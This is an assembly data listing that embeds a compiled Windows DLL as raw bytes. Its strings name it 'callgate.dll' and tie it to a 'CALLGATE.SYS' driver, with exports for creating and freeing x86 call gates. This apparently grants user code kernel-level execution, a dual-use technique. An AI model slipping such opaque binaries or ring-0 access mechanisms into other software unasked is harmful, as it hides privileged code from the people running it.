DB 075H,005H,0C6H,006H,00DH,047H,046H,088H,006H,046H,08BH,0C6H,08DH,04CH,024H
DB 024H,02BH,0C1H,03DH,000H,004H,000H,000H,07CH,0D5H,08DH,044H,024H,024H,06AH
DB 000H,02BH,0F0H,08DH,04CH,024H,028H,08DH,044H,024H,018H,08BH,054H,024H,01CH
DB 050H,056H,051H,08BH,002H,08BH,04CH,024H,02CH,08BH,014H,008H,052H,0FFH,015H
DB 0CCH,0C1H,000H,010H,085H,0C0H,074H,03DH,08BH,044H,024H,014H,001H,044H,024H
DB 020H,03BH,0C6H,07DH,089H,0EBH,039H,08DH,044H,024H,014H,06AH,000H,08BH,094H
DB 024H,034H,004H,000H,000H,050H,055H,08BH,009H,052H,051H,0FFH,015H,0CCH,0C1H
DB 000H,010H,085H,0C0H,074H,012H,0C7H,044H,024H,010H,000H,000H,000H,000H,08BH
DB 044H,024H,014H,089H,044H,024H,020H,0EBH,00AH,0FFH,015H,048H,0C1H,000H,010H
DB 089H,044H,024H,010H,083H,07CH,024H,020H,000H,00FH,085H,0A1H,000H,000H,000H
DB 083H,07CH,024H,010H,000H,074H,04AH,083H,07CH,024H,010H,005H,075H,026H,0E8H
DB 0A4H,002H,000H,000H,0C7H,000H,009H,000H,000H,000H,0E8H,0A9H,002H,000H,000H
DB 08BH,04CH,024H,010H,05DH,05FH,089H,008H,0B8H,0FFH,0FFH,0FFH,0FFH,05EH,05BH
DB 081H,0C4H,018H,004H,000H,000H,0C3H,08BH,04CH,024H,010H,051H,0E8H,0F9H,001H
DB 000H,000H,083H,0C4H,004H,0B8H,0FFH,0FFH,0FFH,0FFH,05DH,05FH,05EH,05BH,081H
DB 0C4H,018H,004H,000H,000H,0C3H,08BH,044H,024H,018H,08BH,04CH,024H,01CH,08BH
DB 010H,0F6H,044H,00AH,004H,040H,074H,019H,08BH,084H,024H,030H,004H,000H,000H
DB 080H,038H,01AH,075H,00DH,033H,0C0H,05DH,05FH,05EH,05BH,081H,0C4H,018H,004H
DB 000H,000H,0C3H,0E8H,037H,002H,000H,000H,0C7H,000H,01CH,000H,000H,000H,0E8H
DB 03CH,002H,000H,000H,05DH,0C7H,000H,000H,000H,000H,000H,0B8H,0FFH,0FFH,0FFH
DB 0FFH,05FH,05EH,05BH,081H,0C4H,018H,004H,000H,000H,0C3H,08BH,044H,024H,020H
DB 05DH,02BH,0C7H,05FH,05EH,05BH,081H,0C4H,018H,004H,000H,000H,0C3H,0CCH,0CCH
DB 0CCH,0CCH,0CCH,055H,08BH,0ECH,057H,056H,08BH,07DH,008H,08BH,0D7H,033H,0C0H
DB 083H,0C9H,0FFH,0F2H,0AEH,04FH,08BH,0F7H,08BH,07DH,00CH,057H,08BH,04DH,010H
DB 0F2H,0AEH,075H,001H,041H,02BH,04DH,010H,0F7H,0D9H,08BH,0FEH,05EH,0F3H,0A4H
DB 0AAH,08BH,0C2H,05EH,05FH,0C9H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,056H,057H,08BH,074H,024H,00CH,039H,035H
DB 020H,0B4H,000H,010H,076H,042H,08BH,0C6H,08BH,0CEH,083H,0E0H,0E7H,083H,0E1H
DB 01FH,0C1H,0F8H,003H,0C1H,0E1H,002H,08BH,090H,030H,0B4H,000H,010H,08DH,004H
DB 0C9H,0F6H,044H,002H,004H,001H,074H,022H,056H,0E8H,09CH,002H,000H,000H,083H
DB 0C4H,004H,056H,0E8H,033H,000H,000H,000H,083H,0C4H,004H,08BH,0F8H,056H,0E8H
DB 0F8H,002H,000H,000H,083H,0C4H,004H,08BH,0C7H,05FH,05EH,0C3H,0E8H,06BH,001H
DB 000H,000H,0C7H,000H,009H,000H,000H,000H,0E8H,070H,001H,000H,000H,05FH,0C7H
DB 000H,000H,000H,000H,000H,0B8H,0FFH,0FFH,0FFH,0FFH,05EH,0C3H,0CCH,0CCH,056H
DB 057H,08BH,074H,024H,00CH,083H,0FEH,001H,074H,005H,083H,0FEH,002H,075H,01AH
DB 06AH,002H,0E8H,0F9H,001H,000H,000H,083H,0C4H,004H,08BH,0F8H,06AH,001H,0E8H
DB 0EDH,001H,000H,000H,083H,0C4H,004H,03BH,0F8H,074H,01EH,056H,0E8H,0E0H,001H
DB 000H,000H,083H,0C4H,004H,050H,0FFH,015H,090H,0C1H,000H,010H,085H,0C0H,075H
DB 00AH,0FFH,015H,048H,0C1H,000H,010H,08BH,0F8H,0EBH,002H,033H,0FFH,056H,0E8H
DB 020H,001H,000H,000H,083H,0C4H,004H,085H,0FFH,074H,011H,057H,0E8H,073H,000H
DB 000H,000H,083H,0C4H,004H,0B8H,0FFH,0FFH,0FFH,0FFH,05FH,05EH,0C3H,08BH,0C6H
DB 083H,0E6H,01FH,0C1H,0E6H,002H,083H,0E0H,0E7H,0C1H,0F8H,003H,05FH,08BH,088H
DB 030H,0B4H,000H,010H,08DH,004H,0F6H,05EH,0C6H,044H,001H,004H,000H,033H,0C0H
DB 0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,056H,08BH,074H,024H,008H,08BH,046H
DB 00CH,0A8H,083H,074H,02BH,0A8H,008H,074H,027H,08BH,046H,008H,050H,0E8H,017H
DB 0F6H,0FFH,0FFH,083H,0C4H,004H,0C7H,006H,000H,000H,000H,000H,081H,066H,00CH
DB 0F7H,0FBH,0FFH,0FFH,0C7H,046H,008H,000H,000H,000H,000H,0C7H,046H,004H,000H
DB 000H,000H,000H,05EH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,056H,0E8H,08AH
DB 000H,000H,000H,08BH,04CH,024H,008H,033H,0F6H,089H,008H,0B8H,000H,05BH,000H
DB 010H,039H,008H,074H,022H,083H,0C0H,008H,046H,03DH,068H,05CH,000H,010H,072H
DB 0F1H,083H,0F9H,013H,072H,022H,083H,0F9H,024H,077H,01DH,0E8H,04FH,000H,000H
DB 000H,05EH,0C7H,000H,00DH,000H,000H,000H,0C3H,0E8H,042H,000H,000H,000H,08BH
DB 00CH,0F5H,004H,05BH,000H,010H,05EH,089H,008H,0C3H,081H,0F9H,0BCH,000H,000H
DB 000H,072H,015H,081H,0F9H,0CAH,000H,000H,000H,077H,00DH,0E8H,022H,000H,000H
DB 000H,05EH,0C7H,000H,008H,000H,000H,000H,0C3H,0E8H,015H,000H,000H,000H,05EH
DB 0C7H,000H,016H,000H,000H,000H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0E8H,00BH,0E5H,0FFH,0FFH,083H,0C0H,008H,0C3H,0CCH
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0E8H,0FBH,0E4H,0FFH,0FFH,083H,0C0H,00CH,0C3H
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,08BH,04CH,024H,004H,056H,057H,039H,00DH
DB 020H,0B4H,000H,010H,076H,065H,08BH,0C1H,083H,0E0H,0E7H,0C1H,0F8H,003H,08DH
DB 0B8H,030H,0B4H,000H,010H,08BH,0C1H,083H,0E0H,01FH,0C1H,0E0H,002H,08DH,034H
DB 0C0H,08BH,007H,003H,0C6H,0F6H,040H,004H,001H,074H,042H,083H,038H,0FFH,074H
DB 03DH,083H,03DH,070H,050H,000H,010H,001H,075H,026H,085H,0C9H,074H,00CH,083H
DB 0F9H,001H,074H,00DH,083H,0F9H,002H,074H,00EH,0EBH,016H,06AH,000H,06AH,0F6H
DB 0EBH,00AH,06AH,000H,06AH,0F5H,0EBH,004H,06AH,000H,06AH,0F4H,0FFH,015H,0A8H
DB 0C1H,000H,010H,08BH,007H,05FH,0C7H,004H,030H,0FFH,0FFH,0FFH,0FFH,033H,0C0H
DB 05EH,0C3H,0E8H,068H,0FFH,0FFH,0FFH,0C7H,000H,009H,000H,000H,000H,0E8H,06DH
DB 0FFH,0FFH,0FFH,05FH,0C7H,000H,000H,000H,000H,000H,0B8H,0FFH,0FFH,0FFH,0FFH
DB 05EH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,08BH,04CH,024H,004H,039H,00DH,020H,0B4H,000H,010H,076H,022H,08BH
DB 0C1H,083H,0E1H,01FH,0C1H,0E1H,002H,083H,0E0H,0E7H,0C1H,0F8H,003H,08DH,014H
DB 0C9H,08BH,080H,030H,0B4H,000H,010H,003H,0C2H,0F6H,040H,004H,001H,074H,003H
DB 08BH,000H,0C3H,0E8H,00DH,0FFH,0FFH,0FFH,0C7H,000H,009H,000H,000H,000H,0E8H
DB 012H,0FFH,0FFH,0FFH,0C7H,000H,000H,000H,000H,000H,0B8H,0FFH,0FFH,0FFH,0FFH
DB 0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,08BH,044H,024H,004H,053H,056H,08BH,0C8H
DB 057H,083H,0E1H,0E7H,0C1H,0F9H,003H,083H,0E0H,01FH,0C1H,0E0H,002H,08DH,0B9H
DB 030H,0B4H,000H,010H,08DH,034H,0C0H,08BH,01FH,003H,0DEH,083H,07BH,008H,000H
DB 075H,027H,06AH,011H,0E8H,061H,0F2H,0FFH,0FFH,083H,0C4H,004H,083H,07BH,008H
DB 000H,075H,00DH,08DH,043H,00CH,050H,0FFH,015H,0D0H,0C1H,000H,010H,0FFH,043H
DB 008H,06AH,011H,0E8H,0B4H,0F2H,0FFH,0FFH,083H,0C4H,004H,08BH,007H,003H,0C6H
DB 083H,0C0H,00CH,050H,0FFH,015H,0D4H,0C1H,000H,010H,05FH,05EH,05BH,0C3H,0CCH
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,08BH
DB 04CH,024H,004H,08BH,0C1H,083H,0E1H,01FH,0C1H,0E1H,002H,083H,0E0H,0E7H,0C1H
DB 0F8H,003H,08DH,014H,0C9H,08BH,080H,030H,0B4H,000H,010H,003H,0C2H,083H,0C0H
DB 00CH,050H,0FFH,015H,0D8H,0C1H,000H,010H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,056H,057H,08BH,074H,024H,00CH,056H,0E8H,004H,0FFH,0FFH,0FFH,083H
DB 0C4H,004H,083H,0F8H,0FFH,075H,013H,0E8H,037H,0FEH,0FFH,0FFH,05FH,0C7H,000H
DB 009H,000H,000H,000H,0B8H,0FFH,0FFH,0FFH,0FFH,05EH,0C3H,08BH,04CH,024H,014H
DB 08BH,054H,024H,010H,051H,06AH,000H,052H,050H,0FFH,015H,0ACH,0C1H,000H,010H
DB 083H,0F8H,0FFH,08BH,0F8H,0B8H,000H,000H,000H,000H,075H,006H,0FFH,015H,048H
DB 0C1H,000H,010H,085H,0C0H,074H,011H,050H,0E8H,07AH,0FDH,0FFH,0FFH,083H,0C4H
DB 004H,0B8H,0FFH,0FFH,0FFH,0FFH,05FH,05EH,0C3H,08BH,0C6H,083H,0E6H,01FH,0C1H
DB 0E6H,002H,083H,0E0H,0E7H,0C1H,0F8H,003H,08BH,088H,030H,0B4H,000H,010H,08DH
DB 004H,0F6H,080H,064H,001H,004H,0FDH,08BH,0C7H,05FH,05EH,0C3H,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,053H,056H,08BH,044H
DB 024H,018H,00BH,0C0H,075H,018H,08BH,04CH,024H,014H,08BH,044H,024H,010H,033H
DB 0D2H,0F7H,0F1H,08BH,0D8H,08BH,044H,024H,00CH,0F7H,0F1H,08BH,0D3H,0EBH,041H
DB 08BH,0C8H,08BH,05CH,024H,014H,08BH,054H,024H,010H,08BH,044H,024H,00CH,0D1H
DB 0E9H,0D1H,0DBH,0D1H,0EAH,0D1H,0D8H,00BH,0C9H,075H,0F4H,0F7H,0F3H,08BH,0F0H
DB 0F7H,064H,024H,018H,08BH,0C8H,08BH,044H,024H,014H,0F7H,0E6H,003H,0D1H,072H
DB 00EH,03BH,054H,024H,010H,077H,008H,072H,007H,03BH,044H,024H,00CH,076H,001H
DB 04EH,033H,0D2H,08BH,0C6H,05EH,05BH,0C2H,010H,000H,0CCH,0CCH,0CCH,0CCH,0CCH
DB 0CCH,0CCH,0CCH,053H,08BH,044H,024H,014H,00BH,0C0H,075H,018H,08BH,04CH,024H
DB 010H,08BH,044H,024H,00CH,033H,0D2H,0F7H,0F1H,08BH,044H,024H,008H,0F7H,0F1H
DB 08BH,0C2H,033H,0D2H,0EBH,050H,08BH,0C8H,08BH,05CH,024H,010H,08BH,054H,024H
DB 00CH,08BH,044H,024H,008H,0D1H,0E9H,0D1H,0DBH,0D1H,0EAH,0D1H,0D8H,00BH,0C9H
DB 075H,0F4H,0F7H,0F3H,08BH,0C8H,0F7H,064H,024H,014H,091H,0F7H,064H,024H,010H
DB 003H,0D1H,072H,00EH,03BH,054H,024H,00CH,077H,008H,072H,00EH,03BH,044H,024H
DB 008H,076H,008H,02BH,044H,024H,010H,01BH,054H,024H,014H,02BH,044H,024H,008H
DB 01BH,054H,024H,00CH,0F7H,0DAH,0F7H,0D8H,083H,0DAH,000H,05BH,0C2H,010H,000H
DB 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,06AH,002H,0E8H,0B9H
DB 0DFH,0FFH,0FFH,083H,0C4H,004H,0C3H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 006H,000H,000H,006H,000H,001H,000H,000H,010H,000H,003H,006H,000H,006H,002H
DB 010H,004H,045H,045H,045H,005H,005H,005H,005H,005H,035H,030H,000H,050H,000H
DB 000H,000H,000H,020H,028H,038H,050H,058H,007H,008H,000H,037H,030H,030H,057H
DB 050H,007H,000H,000H,020H,020H,008H,000H,000H,000H,000H,008H,060H,060H,060H
DB 060H,060H,060H,000H,000H,070H,070H,078H,078H,078H,078H,008H,007H,008H,000H
DB 000H,007H,000H,008H,008H,008H,000H,000H,008H,000H,008H,000H,000H,008H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,0E1H,08EH,063H,033H,000H
DB 000H,000H,000H,09CH,040H,000H,000H,001H,000H,000H,000H,002H,000H,000H,000H
DB 002H,000H,000H,000H,088H,040H,000H,000H,090H,040H,000H,000H,098H,040H,000H
DB 000H,000H,010H,000H,000H,040H,011H,000H,000H,0A9H,040H,000H,000H,0BCH,040H
DB 000H,000H,000H,000H,001H,000H,063H,061H,06CH,06CH,067H,061H,074H,065H,02EH
DB 064H,06CH,06CH,000H,05FH,043H,072H,065H,061H,074H,065H,043H,061H,06CH,06CH
DB 047H,061H,074H,065H,040H,031H,032H,000H,05FH,046H,072H,065H,065H,043H,061H
DB 06CH,06CH,047H,061H,074H,065H,040H,034H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,070H
DB 02BH,000H,010H,000H,000H,000H,000H,000H,000H,000H,000H,040H,02CH,000H,010H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,063H,061H,06CH,06CH,067H,061H,074H,065H,000H,000H
DB 000H,000H,030H,050H,000H,010H,043H,041H,04CH,04CH,047H,041H,054H,045H,02EH
DB 053H,059H,053H,000H,000H,000H,000H,05CH,000H,000H,000H,05CH,05CH,02EH,05CH
DB 025H,073H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,0F0H,017H,000H,010H,000H,000H,000H,000H,000H,000H,000H,000H,049H,073H
DB 054H,04EH,054H,000H,000H,000H,06BH,065H,072H,06EH,065H,06CH,033H,032H,02EH
DB 064H,06CH,06CH,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,0FFH,0FFH,0FFH,0FFH
DB 000H,010H,000H,000H,000H,000H,000H,000H,0FFH,0FFH,0FFH,0FFH,000H,00AH,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,001H,002H,004H,008H,000H,000H,000H,000H,0A4H
DB 003H,000H,000H,060H,082H,079H,082H,021H,000H,000H,000H,000H,000H,000H,000H
DB 0A6H,0DFH,000H,000H,000H,000H,000H,000H,0A1H,0A5H,000H,000H,000H,000H,000H
DB 000H,081H,09FH,0E0H,0FCH,000H,000H,000H,000H,040H,07EH,080H,0FCH,000H,000H
DB 000H,000H,0A8H,003H,000H,000H,0C1H,0A3H,0DAH,0A3H,020H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,081H,0FEH,000H,000H,000H,000H,000H,000H,040H,0FEH,000H
DB 000H,000H,000H,000H,000H,0B5H,003H,000H,000H,0C1H,0A3H,0DAH,0A3H,020H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,081H,0FEH,000H,000H,000H,000H,000H,000H
DB 041H,0FEH,000H,000H,000H,000H,000H,000H,0B6H,003H,000H,000H,0CFH,0A2H,0E4H
DB 0A2H,01AH,000H,0E5H,0A2H,0E8H,0A2H,05BH,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,081H,0FEH,000H,000H,000H
DB 000H,000H,000H,040H,07EH,0A1H,0FEH,000H,000H,000H,000H,051H,005H,000H,000H
DB 051H,0DAH,05EH,0DAH,020H,000H,05FH,0DAH,06AH,0DAH,032H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,081H,0D3H
DB 0D8H,0DEH,0E0H,0F9H,000H,000H,031H,07EH,081H,0FEH,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,072H,075H,06EH,074H,069H,06DH,065H,020H
DB 065H,072H,072H,06FH,072H,020H,000H,000H,00DH,00AH,000H,000H,054H,04CH,04FH
DB 053H,053H,020H,065H,072H,072H,06FH,072H,00DH,00AH,000H,000H,000H,053H,049H
DB 04EH,047H,020H,065H,072H,072H,06FH,072H,00DH,00AH,000H,000H,000H,000H,044H
DB 04FH,04DH,041H,049H,04EH,020H,065H,072H,072H,06FH,072H,00DH,00AH,000H,000H
DB 052H,036H,030H,032H,037H,00DH,00AH,02DH,020H,06EH,06FH,074H,020H,065H,06EH
DB 06FH,075H,067H,068H,020H,073H,070H,061H,063H,065H,020H,066H,06FH,072H,020H
DB 06CH,06FH,077H,069H,06FH,020H,069H,06EH,069H,074H,069H,061H,06CH,069H,07AH
DB 061H,074H,069H,06FH,06EH,00DH,00AH,000H,000H,000H,000H,052H,036H,030H,032H
DB 036H,00DH,00AH,02DH,020H,06EH,06FH,074H,020H,065H,06EH,06FH,075H,067H,068H
DB 020H,073H,070H,061H,063H,065H,020H,066H,06FH,072H,020H,073H,074H,064H,069H
DB 06FH,020H,069H,06EH,069H,074H,069H,061H,06CH,069H,07AH,061H,074H,069H,06FH
DB 06EH,00DH,00AH,000H,000H,000H,000H,052H,036H,030H,032H,035H,00DH,00AH,02DH
DB 020H,070H,075H,072H,065H,020H,076H,069H,072H,074H,075H,061H,06CH,020H,066H
DB 075H,06EH,063H,074H,069H,06FH,06EH,020H,063H,061H,06CH,06CH,00DH,00AH,000H
DB 000H,000H,052H,036H,030H,032H,034H,00DH,00AH,02DH,020H,06EH,06FH,074H,020H
DB 065H,06EH,06FH,075H,067H,068H,020H,073H,070H,061H,063H,065H,020H,066H,06FH
DB 072H,020H,05FH,06FH,06EH,065H,078H,069H,074H,02FH,061H,074H,065H,078H,069H
DB 074H,020H,074H,061H,062H,06CH,065H,00DH,00AH,000H,000H,000H,000H,052H,036H
DB 030H,031H,039H,00DH,00AH,02DH,020H,075H,06EH,061H,062H,06CH,065H,020H,074H
DB 06FH,020H,06FH,070H,065H,06EH,020H,063H,06FH,06EH,073H,06FH,06CH,065H,020H
DB 064H,065H,076H,069H,063H,065H,00DH,00AH,000H,000H,000H,000H,052H,036H,030H
DB 031H,038H,00DH,00AH,02DH,020H,075H,06EH,065H,078H,070H,065H,063H,074H,065H
DB 064H,020H,068H,065H,061H,070H,020H,065H,072H,072H,06FH,072H,00DH,00AH,000H
DB 000H,000H,000H,052H,036H,030H,031H,037H,00DH,00AH,02DH,020H,075H,06EH,065H
DB 078H,070H,065H,063H,074H,065H,064H,020H,06DH,075H,06CH,074H,069H,074H,068H
DB 072H,065H,061H,064H,020H,06CH,06FH,063H,06BH,020H,065H,072H,072H,06FH,072H
DB 00DH,00AH,000H,000H,000H,000H,052H,036H,030H,031H,036H,00DH,00AH,02DH,020H
DB 06EH,06FH,074H,020H,065H,06EH,06FH,075H,067H,068H,020H,073H,070H,061H,063H
DB 065H,020H,066H,06FH,072H,020H,074H,068H,072H,065H,061H,064H,020H,064H,061H
DB 074H,061H,00DH,00AH,000H,00DH,00AH,061H,062H,06EH,06FH,072H,06DH,061H,06CH
DB 020H,070H,072H,06FH,067H,072H,061H,06DH,020H,074H,065H,072H,06DH,069H,06EH
DB 061H,074H,069H,06FH,06EH,00DH,00AH,000H,000H,000H,000H,052H,036H,030H,030H
DB 039H,00DH,00AH,02DH,020H,06EH,06FH,074H,020H,065H,06EH,06FH,075H,067H,068H
DB 020H,073H,070H,061H,063H,065H,020H,066H,06FH,072H,020H,065H,06EH,076H,069H
DB 072H,06FH,06EH,06DH,065H,06EH,074H,00DH,00AH,000H,052H,036H,030H,030H,038H
DB 00DH,00AH,02DH,020H,06EH,06FH,074H,020H,065H,06EH,06FH,075H,067H,068H,020H
DB 073H,070H,061H,063H,065H,020H,066H,06FH,072H,020H,061H,072H,067H,075H,06DH
DB 065H,06EH,074H,073H,00DH,00AH,000H,000H,000H,052H,036H,030H,030H,032H,00DH
DB 00AH,02DH,020H,066H,06CH,06FH,061H,074H,069H,06EH,067H,020H,070H,06FH,069H
DB 06EH,074H,020H,06EH,06FH,074H,020H,06CH,06FH,061H,064H,065H,064H,00DH,00AH
DB 000H,000H,000H,000H,000H,000H,000H,000H,002H,000H,000H,000H,05CH,055H,000H
DB 010H,008H,000H,000H,000H,030H,055H,000H,010H,009H,000H,000H,000H,004H,055H
DB 000H,010H,00AH,000H,000H,000H,0E0H,054H,000H,010H,010H,000H,000H,000H,0B4H
DB 054H,000H,010H,011H,000H,000H,000H,084H,054H,000H,010H,012H,000H,000H,000H
DB 060H,054H,000H,010H,013H,000H,000H,000H,034H,054H,000H,010H,018H,000H,000H
DB 000H,0FCH,053H,000H,010H,019H,000H,000H,000H,0D4H,053H,000H,010H,01AH,000H
DB 000H,000H,09CH,053H,000H,010H,01BH,000H,000H,000H,064H,053H,000H,010H,078H
DB 000H,000H,000H,054H,053H,000H,010H,079H,000H,000H,000H,044H,053H,000H,010H
DB 07AH,000H,000H,000H,034H,053H,000H,010H,0FCH,000H,000H,000H,030H,053H,000H
DB 010H,0FFH,000H,000H,000H,020H,053H,000H,010H,000H,000H,000H,000H,04DH,069H
DB 063H,072H,06FH,073H,06FH,066H,074H,020H,056H,069H,073H,075H,061H,06CH,020H
DB 043H,02BH,02BH,020H,052H,075H,06EH,074H,069H,06DH,065H,020H,04CH,069H,062H
DB 072H,061H,072H,079H,000H,000H,000H,000H,00AH,00AH,000H,000H,052H,075H,06EH
DB 074H,069H,06DH,065H,020H,045H,072H,072H,06FH,072H,021H,00AH,00AH,050H,072H
DB 06FH,067H,072H,061H,06DH,03AH,020H,000H,000H,000H,02EH,02EH,02EH,000H,03CH
DB 070H,072H,06FH,067H,072H,061H,06DH,020H,06EH,061H,06DH,065H,020H,075H,06EH
DB 06BH,06EH,06FH,077H,06EH,03EH,000H,000H,000H,000H,000H,000H,0E0H,05FH,000H
DB 010H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,0C8H
DB 05FH,000H,010H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 0F8H,05FH,000H,010H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,010H,060H,000H,010H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,005H,000H,000H,0C0H,00BH,000H,000H,000H,000H,000H
